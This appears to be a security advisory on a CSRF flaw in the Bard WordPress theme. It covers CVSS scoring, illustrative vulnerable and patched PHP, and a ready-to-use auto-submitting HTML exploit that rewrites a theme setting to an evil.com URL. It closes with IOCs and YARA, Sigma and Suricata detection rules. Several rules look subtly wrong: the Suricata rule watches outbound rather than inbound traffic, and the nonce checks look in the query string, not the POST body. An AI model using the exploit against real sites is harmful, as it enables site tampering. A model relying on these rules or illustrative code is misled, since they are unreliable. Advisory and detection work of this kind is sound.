CVE-2025-64368

Executive Summary

CVE-2025-64368 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Bard WordPress theme developed by Qodeinteractive (formerly Mikado-Themes). This vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying theme settings or injecting malicious content, without their consent. The vulnerability exists in all versions of the Bard theme up to and including version 1.6. As of this report, no official patch has been released, and the vendor’s patch status is unknown.

This vulnerability is classified as a WordPress ecosystem issue and does not involve server-level software like Apache or Nginx. The attack vector relies on social engineering to lure a logged-in admin to a crafted page, making it a medium-severity threat (CVSS 5.4). Given the lack of a patch, administrators should consider disabling the theme or implementing additional security controls.

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. Since the theme is not an NPM, PyPI, Go, or Ruby package, supply chain risks are limited to the theme’s update mechanism. Users should verify the integrity of theme files and monitor for unauthorized modifications.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must be logged in as admin and click a malicious link)
• Scope: Unchanged
• Confidentiality Impact: Low (potential exposure of theme settings)
• Integrity Impact: Low (unauthorized modification of theme options)
• Availability Impact: None

The threat level is medium due to the requirement for user interaction and the limited impact on confidentiality and integrity. However, in a WordPress context, CSRF can lead to privilege escalation if combined with other vulnerabilities.

Deep Dive & Mechanics

The Bard theme lacks proper CSRF nonce validation on its administrative actions. Specifically, the theme’s settings page (typically accessed via wp-admin/admin.php?page=bard_options) does not verify that requests originate from the legitimate admin interface. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, submits a forged request to change theme options (e.g., injecting malicious JavaScript, altering site appearance, or redirecting users).

The vulnerability is rooted in the theme’s bard_theme_options page, which handles form submissions without checking a CSRF token. The WordPress core provides functions like wp_nonce_field() and check_admin_referer() to prevent such attacks, but the Bard theme fails to implement them.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is present in all versions <= 1.6. The following is a representative example of the vulnerable pattern:

Vulnerable Code (bard/admin/theme-options.php):

<?php
// No nonce verification
if ( isset( $_POST['submit'] ) ) {
    update_option( 'bard_theme_settings', $_POST['bard_settings'] );
}
?>

Patched Code (hypothetical):

<?php
if ( isset( $_POST['submit'] ) && check_admin_referer( 'bard_save_settings', 'bard_nonce' ) ) {
    update_option( 'bard_theme_settings', $_POST['bard_settings'] );
}
?>

The patched version adds check_admin_referer() to validate the nonce before processing the form.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site running Bard theme <= 1.6.
• An authenticated admin user (victim).

Exploit Steps:

1. Craft a malicious HTML page that auto-submits a form to the vulnerable endpoint.
2. Host the page on an attacker-controlled server or use a phishing email.
3. Lure the admin to visit the page while logged into WordPress.

Example Exploit HTML:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin.php?page=bard_options" method="POST">
    <input type="hidden" name="bard_settings[logo_url]" value="http://evil.com/malicious.png">
    <input type="hidden" name="submit" value="1">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected POST requests to /wp-admin/admin.php?page=bard_options without a valid nonce.
• Use web application firewalls (WAF) to block requests missing the _wpnonce parameter.

Defense:

• Implement a WAF rule to require a valid nonce for all theme settings changes.
• Use the "Two-Factor Authentication" plugin to add an extra layer for admin actions.
• Disable the Bard theme until a patch is available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin.php?page=bard_options without a _wpnonce parameter.
  • Referer headers pointing to external domains (e.g., evil.com).
• File IOCs:
  • Modified bard_settings in the wp_options database table.
  • Unexpected files in /wp-content/uploads/ (e.g., malicious images).
• Log IOCs:
  • Repeated 403 errors on /wp-admin/admin.php?page=bard_options from the same IP.

Detection Engineering

YARA Rule

rule CVE_2025_64368_CSRF_Bard {
    meta:
        description = "Detects CSRF exploitation attempts against Bard theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64368"
    strings:
        $vuln_endpoint = "admin.php?page=bard_options"
        $post_method = "POST"
        $no_nonce = "wpnonce" nocase
    condition:
        $vuln_endpoint and $post_method and not $no_nonce
}

Sigma Rule

title: CVE-2025-64368 CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to Bard theme settings without nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "admin.php?page=bard_options"
    filter:
        cs-uri-query|contains: "_wpnonce"
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with nonce
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-64368 - Bard Theme CSRF Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin.php?page=bard_options"; http_uri;
    pcre:"/^((?!_wpnonce).)*$/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-64368;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Bard theme and switch to a supported alternative.
2. Implement a Web Application Firewall (WAF) rule to block requests to /wp-admin/admin.php?page=bard_options without a valid nonce.
3. Educate administrators about phishing attacks targeting WordPress admin panels.

Long-Term Fix:

• The vendor must release a patched version that includes CSRF nonce validation. Until then, consider forking the theme and adding the fix manually.

Workaround:

• Use a security plugin like Wordfence or Sucuri to add CSRF protection to all admin forms.

Report generated by Valters IT DevSecOps Intelligence Unit